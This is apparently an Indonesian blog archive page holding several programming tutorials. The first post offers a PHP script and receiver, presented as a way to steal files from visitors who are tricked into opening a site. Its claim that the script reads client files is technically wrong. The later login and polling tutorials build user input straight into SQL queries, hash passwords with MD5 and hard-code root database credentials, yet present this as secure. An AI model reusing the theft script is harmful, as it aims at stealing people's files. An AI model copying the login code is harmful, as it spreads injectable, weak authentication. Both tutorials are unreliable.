Showing posts with label FAQs Help and Tutorials. Show all posts
Showing posts with label FAQs Help and Tutorials. Show all posts

Wednesday, April 13, 2011

Bahaya pencurian file pada komputer client menggunakan script

Sebelum saya memperjelas isi dari pada judul ini, saya memohon agar apa yang dipraktekkan disini tidak menjadi suatu hal yang negatif buat orang lain. Kalaupun anda ingin mempraktekkannya dengan madsud jahat, segala sesuatunya bukan merupakan tanggung jawab saya.
Oke, kembali ke topik. Anda pasti tidak menduga, bila suatu ketika saya tahu apa rencana dibalik data yang Anda simpan pada komputer anda. Saya tidak perlu panggil dukun dan begadang seharian untuk menunggu bapak dukun menyelesaikan aksinya, he..he..he. Tahukah anda ?? dengan script PHP berikut ini, file-file yang ada di komputer client dapat diambil dengan mudah dan terselip di server Anda. Cukup dengan menipu korban untuk membuka situs yang sudah disisipi script ini, maka secara otomatis ia akan mengambil (upload) ke path server tujuan anda.
Berikut Scriptnya :


1. File Pertama
<?
// Script ini buat yang ngerti PHP
// Nama File : ScrCuri.php
// Fungsi : Pemproses pengiriman file ke server
$host='localhost';
$port=80;
// Ubah variabel path letak posisi upload.php
$path='/upload.php';
// Ganti variabel fileku dengan file yang ingin kamu ambil
$fileku = "c:\\\autoexec.bat";
$content_type = "text/plain"; // type mime file
// Start Header
srand((double)microtime()*1000000);
$boundary = "---------------------------".substr(md5(rand(0,32000)),0,10);
$data = "--$boundary";
$content_file = join("", file($fileku));
$data.="
Content-Disposition: form-data; name=\"fileku\"; filename=\"$fileku\"
Content-Type: $content_type
$content_file
--$boundary";
$data.="--\r\n\r\n";
$msg =
"POST $path HTTP/1.0
Content-Type: multipart/form-data; boundary=$boundary
Content-Length: ".strlen($data)."\r\n\r\n";
// End Header
$result="";
// Buka Koneksi
$f = fsockopen($host, $port);
fputs($f,$msg.$data);
// Dapatkan tanggapan + hasil
while (!feof($f))
{
$result .= fread($f,32000);
}
fclose($f);
// Cetak hasil
echo $result;
?>


2. File Kedua
<?
// Nama File : upload.php
// Fungsi : Penangkapan isi header atau request yang dikirim dan melakukan proses penyalinan file dari client

if (is_uploaded_file($fileku))
{
// Ubah variabel namasimpan sesuai path file penyimpanan yang kamu inginkan
$namasimpan="/backup_backup_backup/test/autoexec.bat"
copy($fileku, $namasimpan);
// Tampilkan hasil
echo "Oke";
}else{
echo "Gagal copy file >> '$fileku'.";
}
?>


Nah, setelah kamu menyimpan script kamu pada server/host kamu. Maka, untuk membuktikannya coba akses script scrcuri.php. Mis : http://bloganda.com/scrcuri.php , ingat!!! konfigurasi harus cocok lho... biar kamu gampang, simpan aja kedua file di root server kamu jadi, file upload.php diakses pada http://situskamu.com/upload.php. Udah ngerti??... Yap... aku harap begitu.. he..he..he. Untuk coba-coba akseslah script scrcuri.php pada lingkungan windows... apa yang terjadi??? Wowww... sebuah file autoexec.bat telah menyisip diserver kamu, alias diambil dari komputer client kamu sebagai percobaan.
Sebelum kamu merasa puas, perlu anda ketahui bahwa script diatas, belum sempurna (Makanya jangan puas dulu.... ). Mau tau kekurangannya ???.. Yeahhh... saya tau kamu juga tau iya khan???. Kita ketahui, pada file percobaan kita... hanya mampu mengambil file tertentu saja yang belum tentu ada dikomputer target. Misalkan aja file c:\tomero.gif , otomatis semua komputer belum tentu punya file kayak gitu. So, solusinya.. tambahkan aja javascript dan manipulasi dikit kedua script diatas... Tau khan.. k'lo ngga tau biarin aja buat PR dirumah atau bila perlu belajar PHP dulu yang buaaanyaaakk. Ngga bisa juga?? Jurus yang paling jitu adalah , Copy-Paste aja..." Dasar orang males...he..he..he..
Akhirnya, sekali lagi... segala sesuatu yang terdapat pada info ini, kegunaanya ada ditangan anda. Saya cuma menulis dan mengembangkan ide dengan madsud agar anda berhati-hati dengan dunia Internet walaupun terbilang asyikkk... Maafkan, jika ada kesalahan atau hal yang kurang berkenan dihati anda. Terima kasih.

Mengetahui Fitur Login/Logout Halaman Web Dengan PHP

 

Banyak sekali aplikasi di internet yang menggunakan fitur login dan logout. Fungsinya tentu saja membatasi akses terhadap layanan tertentu yang disediakan pada situs tersebut. Hanya anggota yang telah terdaftar saja yang diijinkan mengakses layanan-layanan khusus tersebut. Kali ini PCplus akan membahas bagaimana membuat aplikasi yang memiliki fitur login/logout. Yang dibahas di sini adalah halaman login dan logoutnya saja, sedangkan isi aplikasi yang terletak di dalamnya bisa Anda kembangkan sendiri.

Dalam pembuatan aplikasi ini kita membutuhkan database yang akan menyimpan data-data dari para anggota yang telah terdaftar. Buatlah database dengan MySQL sebagai berikut:

mysql> create database daftar;

mysql> create table anggota(

-> uname varchar(20),

-> pswd varchar(32));

Database tersebut terdiri dari satu tabel bernama “anggota” dan tabel tersebut memiliki 2 buah field yaitu uname untuk menyimpan user name dan pswd untuk menyimpan password. Mengapa field pswd ditentukan untuk memiliki 32 karakter? Kita akan bahas nanti.

Sekarang mula-mula kita akan buat dahulu halaman pendaftaran anggota. Skripnya diberikan pada listing 1.






Listing 1. Halaman pendaftaran

<HTML>

<HEAD>

<TITLE> Sign Up </TITLE>

</HEAD>

<BODY>

Isilah username dan password yang Anda inginkan <BR>

<PRE>

<FORM NAME="frmSignUp" METHOD="post" ACTION="process.php">

Username :

Password      : <INPUT TYPE="password" NAME="pswd">

<INPUT TYPE="submit" VALUE="Submit">

</FORM>

</BODY>

</HTML>

Simpanlah skrip ini dengan nama signup.php. Diberi nama signup.htm pun boleh karena pada kenyataannya tidak ada skrip php pada file ini. Jika dijalankan pada browser hasilnya akan nampak seperti gambar 1.

Berikutnya kita akan membuat file process.php yang akan memproses pendaftaran kita tadi. Skripnya diberikan pada listing 2.






Listing 2. Halaman proses

<HTML>

<HEAD>

<TITLE> Processing your Account </TITLE>

</HEAD>

<BODY>

<?

$uname = $_POST['uname'];

$pswd = md5($_POST['pswd']);

$host = "localhost";

$user = "root";

$pwd = "rahasia";

$db = "daftar";

$stop = 0;

$sql = "select uname from anggota";

$conn = @mysql_connect($host,$user,$pwd) or

die("Koneksi gagal : " . mysql_error());

mysql_select_db($db);

$qry = mysql_query($sql) or

die("Query salah : " . mysql_error());

while ($row = mysql_fetch_array($qry)) {

if ($uname == $row['uname']) {

echo "Username $uname was already chosen by someone else <BR>";

echo "Go back and choose another username";

$stop = 1;

break;

}

}

if ($stop==0) {

$sql = "insert into anggota values ('$uname','$pswd')";

$qry = mysql_query($sql) or

die("Query salah : "  . mysql_error());

echo "Your account is successfully created <BR>";

echo "<A HREF='login.php'> Click here </A> to login";

}

?>

</BODY>

</HTML>

Perhatikan bahwa pada baris kedua skrip php (setelah bagian <BODY>) terdapat fungsi md5. Fungsi md5 merupakan fungsi yang menghitung md5 hash dari suatu string. (Mengenai hal ini Anda dapat mendapatkan informasi lebih detil di http://www.faqs.org/rfcs/rfc1321.html). Md5 hash menghasilkan 32 karakter dalam format heksadesimal. Itulah sebabnya mengapa field pswd dibuat bertipe data karakter dengan panjang 32 karakter. Dengan md5 hash ini password Anda akan disimpan dalam bentuk yang sangat sulit ditebak.

Pada skrip ini mula-mula diperiksa apakah username yang dipilih telah ada di dalam database. Jika telah ada, maka php akan memberikan peringatan bahwa username tersebut telah ada dan Anda dipersilakan membuat username baru. Jika belum ada, maka informasi username dan password Anda akan didaftarkan ke dalam database dan Anda akan diberitahu bahwa account Anda telah dibuat. Bandingkan dengan gambar 2 dan gambar 3.

Setelah proses sign up berhasil, kini kita akan membuat halaman untuk login. Skripnya diberikan pada listing 3.






Listing 3. Halaman login

<HTML>

<HEAD>

<a class="zem_slink" href="http://en.wikipedia.org/wiki/Login" title="Login" rel="wikipedia">Login</a>

</HEAD>

<BODY>

Registered user log in:

<PRE>

<FORM NAME="frmLogIn" METHOD="post" ACTION="main.php">

Username     : <INPUT TYPE="text" NAME="uname">

Password      : <INPUT TYPE="password" NAME="pswd">

<INPUT TYPE="submit" VALUE="Submit">

</FORM>

</PRE>

New user please register

<A HREF="signup.php"> here </A>

</BODY>

</HTML>

Simpanlah file ini dengan nama login.php atau login.htm. Jika dijalankan pada browser hasilnya akan nampak seperti gambar 4. Skrip ini akan diolah pada file main.php. Nah, skrip dari file main.php itu sendiri diberikan pada listing 4.






Listing 4. Pengolah login

<HTML>

<HEAD>

<TITLE> Main Page </TITLE>

</HEAD>

<BODY>

<?

$uname = $_POST['uname'];

$pswd = md5($_POST['pswd']);

$host = "localhost";

$user = "root";

$pwd = "rahasia";

$db = "daftar";

$stop = 0;

$sql = "select * from anggota where uname='$uname'";

$conn = @mysql_connect($host,$user,$pwd) or

die("Koneksi gagal : " . mysql_error());

mysql_select_db($db);

$qry = mysql_query($sql) or

die("Query salah : " . mysql_error());

$num = mysql_num_rows($qry);

$row = mysql_fetch_array($qry);

if ($num==0) {

echo "Username not found <BR>";

echo "Go back and try another username";

} else {

if ($pswd!=$row['pswd']) {

echo "Your password is incorrect <BR>";

echo "Go back and type the correct password";

} else {

echo "You are successfully logged in";

}

}

?>

</BODY>

</HTML>

Pada prinsipnya skrip main.php ini mengolah data-data dari halaman login. Langkah pertama yang dilakukan tentu saja adalah koneksi ke database. Setelah itu mencocokkan username yang ada di database, jika tidak cocok Anda diminta memasukkan username kembali. Jika username cocok dengan record yang ada pada database, diperiksa passwornya. Jika passwordnya cocok, maka Anda akan dapat login, jika tidak Anda diminta untuk mengisi password yang tepat. Mudah bukan?

Namun sebenarnya skrip tersebut di atas belumlah selesai. Mengapa? Sebab skrip seperti di atas (sekalipun telah diberi “pagar” di sana-sini) tetap mudah ditembus oleh siapapun, bahkan Anda tidak perlu belajar menjadi hacker untuk dapat menembusnya.

Contoh mudah, isilah form login dengan data yang ada pada database Anda. Dengan sendirinya Anda akan login dan masuk ke halaman main.php yang bertuliskan “You are successfully logged in”. Sekarang tekan tombol “back” browser Anda, lalu setelah Anda tiba kembali ke halaman login, tekan tombol “forward”. Apa yang terjadi? Ya, Anda akan kembali masuk ke halaman main.php dan login dengan sukses. Itu artinya jika Anda lalai dan meninggalkan komputer Anda, orang lain dengan mudah akan masuk menggunakan account Anda.

Lalu bagaimana solusinya? Salah satu caranya adalah dengan menambahkan session ke dalam aplikasi tersebut. Dengan memeriksa apakah suatu variabel session pernah didaftarkan atau belum, maka aplikasi tersebut menjadi lebih aman. Dengan menggunakan solusi ini, fitur login/logout pada aplikasi kita akan terpecah menjadi lima file yang diberikan pada listing 5 hingga listing 9.






Listing 5. File login.php

<HTML>

<HEAD>

<TITLE> Login </TITLE>

</HEAD>

<BODY>

Registered user log in: <BR>

<PRE>

<FORM NAME="frmLogIn" METHOD="post" ACTION="cekpswd.php">

Username     : <INPUT TYPE="text" NAME="uname">

Password      : <INPUT TYPE="password" NAME="pswd">

<INPUT TYPE="submit" VALUE="Submit">

</FORM>

</PRE>

New user please register

<A HREF="signup.php"> here </A>

</BODY>

</HTML>

File login.php tersebut hanyalah form login biasa seperti gambar 4. Parameter ACTION dari tag <FORM> diisi dengan cekpswd.php, karena isian dari form ini akan diperiksa oleh file cekpswd.php.






Listing 6. File cekpswd.php

<?

session_start();

$uname = $_POST['uname'];

$pswd = md5($_POST['pswd']);

$host = "localhost";

$user = "root";

$pwd = "rahasia";

$db = "daftar";

$sql = "select * from anggota where uname='$uname'";

$conn = @mysql_connect($host,$user,$pwd) or

die("Koneksi gagal : " . mysql_error());

mysql_select_db($db);

$qry = mysql_query($sql) or

die("Query salah : " . mysql_error());

$num = mysql_num_rows($qry);

$row = mysql_fetch_array($qry);

if ($num==0 OR $pswd!=$row['pswd']) {

header("Location: sorry.php");

} else {

$_SESSION['login']=1;

header("Location: main.php");

}

?>

File cekpasswd.php digunakan untuk memeriksa username dan password yang dimasukkan pada file login.php. Pada file ini mulai diinisiasi sebuah session. Langkah selanjutnya adalah mencocokkan username dan password dengan record yang terdapat pada database. Jika username dan password itu tidak cocok – bisa usernamenya tidak terdaftar atau passwordnya yang salah – maka skrip tersebut akan mengarahkan langkahnya menuju ke file sorry.php, tapi jika benar maka arahnya akan menuju ke file main.php dan sebuah variabel session diinisiasi. (Pada skrip kita variabel tersebut diberi nama $_SESSION[‘login’]). Yang berfungsi sebagai “pengatur arah” adalah fungsi header(). Fungsi header() akan memberikan output berupa HTTP header yang harus diberikan sebelum ada tag HTML apapun. Itu sebabnya file cekpswd.php hanya terdiri dari skrip php saja dan tidak memiliki tag HTML. (Kalaupun toh ada, itu harus dibawah skrip php yang mengeluarkan HTTP header). Untuk informasi lebih lanjut mengenai HTTP header Anda dapat mengunjungi http://www.w3.org/Protocols/rfc2616/rfc2616. Yang jelas fungsi header() pada skrip kita di atas digunakan untuk redirection, yaitu mengarahkan browser untuk memanggil URL lain. Oleh karena output file cekpswd.php hanya HTTP header saja, maka file ini tidak memiliki “penampakan fisik” pada browser.






Listing 7. File main.php

<?

session_start();

if(!isset($_SESSION['login'])) {

include("login.php");

} else {

?>

<HTML>

<HEAD>

<TITLE> Main Page </TITLE>

</HEAD>

<BODY>

You are successfully logged in <BR>

You can access this application <BR> <BR>

<A HREF="logout.php"> Log Out </A>

</BODY>

</HTML>

<?

}

?>

File main.php adalah file yang akan dipanggil apabila username dan password yang dimasukkan pada halaman login.php berhasil melewati “satpam” cekpswd.php. Lihat gambar 5. File inilah yang nantinya bisa dikembangkan untuk menyusun aplikasi-aplikasi web yang diperuntukkan bagi mereka yang login. Sebelumnya pada bagian awal dari file ini diperiksa terlebih dahulu apakah variabel $_SESSION[‘login’] sudah pernah diinisiasi dengan fungsi isset(). Seandainya belum, itu artinya user yang mengakses halaman main.php belum login. Jika demikian, maka orang tersebut akan “diangkut” menuju ke halaman login.php untuk login terlebih dahulu. Apakah mungkin user yang belum login dapat langsung menuju ke halaman main.php? Mungkin saja apabila ia langsung mengetikkan “http://bla..bla..bla/main.php” di bagian address browser. Oleh karena itu harus diberi “satpam” agar user tersebut tidak main selonong saja.

Jika seandainya aplikasi Anda terdiri dari beberapa halaman, maka pada prinsipnya setiap halaman harus diberi skrip sebagai berikut:

<?

session_start();

if(!isset($_SESSION['login'])) {

include("login.php");

} else {

?>

Di bawah skrip ini baru diberikan tag-tag HTML atau skrip PHP lain yang menyusun aplikasi. Dengan demikian setiap halaman selalu memeriksa apakah variabel session $_SESSION['login'] telah diinisiasi. Jika belum, maka redirection akan beraksi dan “menendang” user untuk kembali ke halaman login.php.






Listing 8. File sorry.php

<HTML>

<HEAD>

<TITLE> Sorry </TITLE>

</HEAD>

<BODY>

Your user name or password is incorrect <BR>

Sorry, you are not allowed to access this page

</BODY>

</HTML>

File ini akan muncul apabila user salah memasukkan username atau password pada halaman login. Lihat gambar 6. User tersebut dapat mengklik tombol back di browser untuk kembali ke halaman login dan memasukkan username dan password yang benar.






Listing 9. File logout.php

<?

session_start();

unset($_SESSION['login']);

session_destroy();

header("Location: login.php");

?>

File ini digunakan untuk melakukan proses logout. Pada file ini variabel $_SESSION['login'] dihilangkan sekaligus bersama dengan sessionnya. Langkah selanjutnya adalah mengarahkan aplikasi ke halaman login.php. Setelah session dihilangkan, maka user harus login lagi untuk dapat mengakses aplikasi tersebut.

Pada dasarnya fungsi header() tidak harus mengarahkan aplikasi ke file login.php. Bisa saja Anda membuat sebuah file lain yang bernama goodbye.php misalnya yang isinya adalah ucapan perpisahan.

Nah, selamat belajar mengembangkan aplikasi dengan menggunakan fitur login/logout.

Membuat Aplikasi Jajak Pendapat Dengan PHP

Akhir-akhir ini aplikasi jajak pendapat cukup marak terdapat di situs-situs internet. Masalah yang diangkat pun bisa beragam, misalnya politik, sosial, budaya, sains, dan lain-lain. Situs-situs yang bernuansa khusus juga seringkali memiliki jajak pendapat sesuai dengan nuansa yang dimilikinya. Misalnya situs sepakbola akan mengangkat jajak pendapat siapa pemain terbaik di suatu liga, situs tentang Linux akan mengangkat jajak pendapat tentang distro apa yang paling favorit, situs handphone akan mengangkat jajak pendapat tentang ringtone favorit, dan masih banyak lagi.

Nah, sekalipun tema yang diangkat bisa bermacam-macam, namun pada dasarnya aplikasi jajak pendapat cukup mudah untuk dibuat. Umumnya aplikasi jajak pendapat hanya terdiri dari 2 halaman saja, yaitu form HTML yang berisi item-item pilihan dan hasil dari jajak pendapat tersebut. Hasil jajak pendapat dapat ditampilkan dengan bantuan HTML biasa atau dengan suatu aplikasi yang dapat menghasilkan gambar-gambar yang menarik sehingga hasil jajak pendapat dapat ditampilkan dalam bentuk pie chart misalnya. Untungnya, PHP juga dapat digunakan untuk menghasilkan gambar.

Aplikasi jajak pendapat yang akan dibahas pada bagian ini nantinya akan memberikan output berupa Pie Chart.

Untuk menyimpan hasil jajak pendapat diperlukan database, sehingga aplikasi ini juga akan menggunakan MySQL.

Aplikasi jajak pendapat yang kita buat kali ini akan mengangkat tema Pemain Terbaik Liga Italia musim kompetisi 2005/2006. Mengapa bukan tema yang berbau komputer? Distro Linux favorit misalnya? Yah, semata-mata hanya untuk “having fun” saja agar otak kita nggak berisi komputer melulu.

Mula-mula kita persiapkan dahulu databasenya. Kita akan buat database baru bernama poll sebuah tabel bernama favplayer yang berisi dua buah kolom yaitu “nama” dan “suara”. Langkah-langkahnya adalah sebagai berikut:

mysql> create database poll;

mysql> use poll

Database changed

mysql> create table favplayer(

-> nama varchar(20),

-> suara int);

Query OK, 0 rows affected (0.05 sec)

Anda juga dapat memanfaatkan phpMyAdmin untuk membuat database di atas.

Sebagai nilai awal kita isikan dahulu beberapa data sebagai berikut:











































NamaSuara
Del Piero101
Totti23
Nedved215
Toni73
Adriano36
Kaka41
Ibrahimovic100
Trezeguet88
Cassano25

Setelah database disiapkan, sekarang kita buat halaman form yang berisi item-item pilihan. Script dari halaman item pilihan diberikan pada listing 1.






Listing 1. Halaman item pilihan

<HTML>

<HEAD>

<TITLE> Jajak Pendapat </TITLE>

</HEAD>

<BODY>

<H1> Jajak Pendapat </H1>

<H2> Pilih pemain terbaik <br>

Liga Italia musim 2005/2006 </H2>

<FORM NAME="poll" METHOD="post" ACTION="result.php">

<?

$host = "localhost";

$user = "myuser";

$pswd = "rahasia";

$conn = @mysql_connect($host,$user,$pswd)

or die("Koneksi gagal: " . mysql_error());

mysql_select_db("poll",$conn);

$strSQL = "select nama from favplayer";

$qry = @mysql_query($strSQL,$conn)

or die("Query salah: " . mysql_error());

while ($row = mysql_fetch_array($qry)) {

?>

<INPUT TYPE="radio" NAME="player" VALUE="<?=$row['nama']?>">

<?=$row['nama']?> <BR>

<?

}

?>

<BR>

<INPUT TYPE="submit" VALUE="VOTE!">

</FORM>

</BODY>

</HTML>

Berilah nama skrip ini dengan polling.php. Jika dijalankan di browser akan nampak seperti gambar 1.

Item-item pilihan yang terdapat pada halaman ini diambil dari record-record pada field “nama” tabel favplayer. Dengan demikian jika isi dari field nama diubah, otomatis item pilihan tersebut akan ikut berubah, sehingga memudahkan Anda untuk berganti tema jajak pendapat.

Jika Anda klik tombol “VOTE!”, maka data-data pada form ini akan diolah di halaman result.php. Nah, isi skrip file result.php diberikan pada listing 2.






Listing 2. Hasil jajak pendapat

<?

Header("Content-Type:image/jpeg");

// --- Koneksi ke MySQL --- //

$host = "localhost";

$user = "root";

$pswd = "";

$player = $_POST['player'];

$conn = @mysql_connect($host,$user,$pswd)

or die("Koneksi gagal: " . mysql_error());

mysql_select_db("poll",$conn);

// --- mengupdate suara --- //

$strSQL = "update favplayer set suara=suara+1 where nama='$player'";

$upd = @mysql_query($strSQL,$conn)

or die("Query salah: " . mysql_error());

// --- Ambil data dari database --- //

$strSQL = "select * from favplayer";

$qry = @mysql_query($strSQL,$conn)

or die("Query salah: " . mysql_error());

// --- menentukan data yang akan dibuat pie chartnya --- //

$i=0;

while ($row=mysql_fetch_array($qry)) {

$data[$i] = $row["suara"];

$str[$i] = "$row[nama]" . " = " . "$row[suara]";

$i++;

}

// --- deklarasi variabel --- //

$total = 0;

$d = array();

$kor_x = array();

$kor_y = array();

$t_x = array();

$t_y = array();

// --- menentukan besar sudut setiap bagian pie --- //

for($j=0;$j<=$i-1;$j++) {

$total += $data[$j];

}

$d[0] = 0;

for($x=1;$x<=$i;$x++) {

$d[$x] = ($data[$x-1]/$total) * 360;

$d[$x] += $d[$x-1];

}

// --- menentukan warna --- //

$img = ImageCreate(700,700);

$warna[0] = ImageColorAllocate($img,0,255,0);

$warna[1] = ImageColorAllocate($img,255,0,0);

$warna[2] = ImageColorAllocate($img,0,0,255);

$warna[3] = ImageColorAllocate($img,255,0,255);

$warna[4] = ImageColorAllocate($img,255,255,0);

$warna[5] = ImageColorAllocate($img,128,128,128);

$warna[6] = ImageColorAllocate($img,255,128,0);

$warna[7] = ImageColorAllocate($img,0,150,255);

$warna[8] = ImageColorAllocate($img,112,0,255);

$warna[9] = ImageColorAllocate($img,128,255,0);

$warna[10] = ImageColorAllocate($img,255,255,255);

$hitam = ImageColorAllocate($img,0,0,0);

$putih = ImageColorAllocate($img,255,255,255);

ImageFill($img,0,0,$putih);

// --- membentuk pie --- //

for($k=1;$k<=$i;$k++) {

// --- menggambar bagian-bagian pie --- //

ImageArc($img,150,150,250,250,$d[$k-1],$d[$k],$hitam);

// --- mencari koordinat batas --- //

$kor_x[$k] = round(150+(125*cos(deg2rad($d[$k-1]))));

$kor_y[$k] = round(150+(125*sin(deg2rad($d[$k-1]))));

// --- mencari titik tengah --- //

$t = round(($d[$k-1]+$d[$k])/2);

$t_x[$k] = round(150+(62.5*cos(deg2rad($t))));

$t_y[$k] = round(150+(62.5*sin(deg2rad($t))));

ImageLine($img,150,150,$kor_x[$k],$kor_y[$k],$hitam);

}

// --- mewarnai bagian pie --- //

// --- sekaligus membuat keterangan --- //

for($k=1;$k<=$i;$k++) {

ImageFillToBorder($img,$t_x[$k],$t_y[$k],$hitam,$warna[$k-1]);

ImageFilledRectangle($img,310,20*$k+50,320,20*$k+60,$warna[$k-1]);

ImageString($img,2,330,20*$k+50,$str[$k-1],$hitam);

}

// --- output gambar -- //

ImageJPEG($img);

?>

Pada dasarnya isi skrip ini adalah menghitung jumlah total suara, kemudian mengambil seluruh data jajak pendapat dari database dan kemudian menampilkannya dalam bentuk pie chart.

Sekarang aplikasi tersebut sudah siap. Jika Anda memberikan suara Anda, maka hasil jajak pendapat akan ditampilkan seperti pada gambar 2.

Anda dapat menambahkan sedikit skrip JavaScript untuk mencegah agar pemilih tidak dapat men-submit form sebelum dia memberikan suaranya.

Membuat Jam Digital Dengan Visual Basic

Program untuk membuat jam digital dengan Visual Basic merupakan program yang relatif sederhana. Hanya diperlukan sebuah form dan beberapa baris pemrograman saja.

Desainlah form seperti terlihat pada gambar 1. Kontrol timer dapat diletakkan di mana saja karena tidak akan terlihat pada saat runtime. Kemudian beberapa kontrol yang ada harus diubah nilai propertinya sesuai dengan tabel berikut:








































KontrolPropertiNilai
FormBorderStyle1 – Fixed Single
CaptionJam Digital
TextBoxNameTxtJam
Text[kosong]
Command ButtonNameCmdExit
CaptionE&xit
TimerInterval1000

Tambahkan kode program ke dalam form tersebut seperti diberikan pada listing 1. Pada prinsipnya, pada saat form di load, teks pada txtJam harus menunjukkan waktu saat itu yang diberikan oleh objek Time. Kemudian setiap interval yang ditentukan pada kontrol Timer, teks pada txtJam juga diupdate sesuai dengan waktu saat itu.

Hasil eksekusi program tersebut terlihat pada gambar 2.






Listing 3. Membuat Jam Digital

Private Sub cmdExit_Click()

End

End Sub

Private Sub Form_Load()

txtJam.Text = Time

End Sub

Private Sub Timer1_Timer()

txtJam.Text = Time

End Sub

Nah, sederhana, bukan?

Selamat Mencoba………………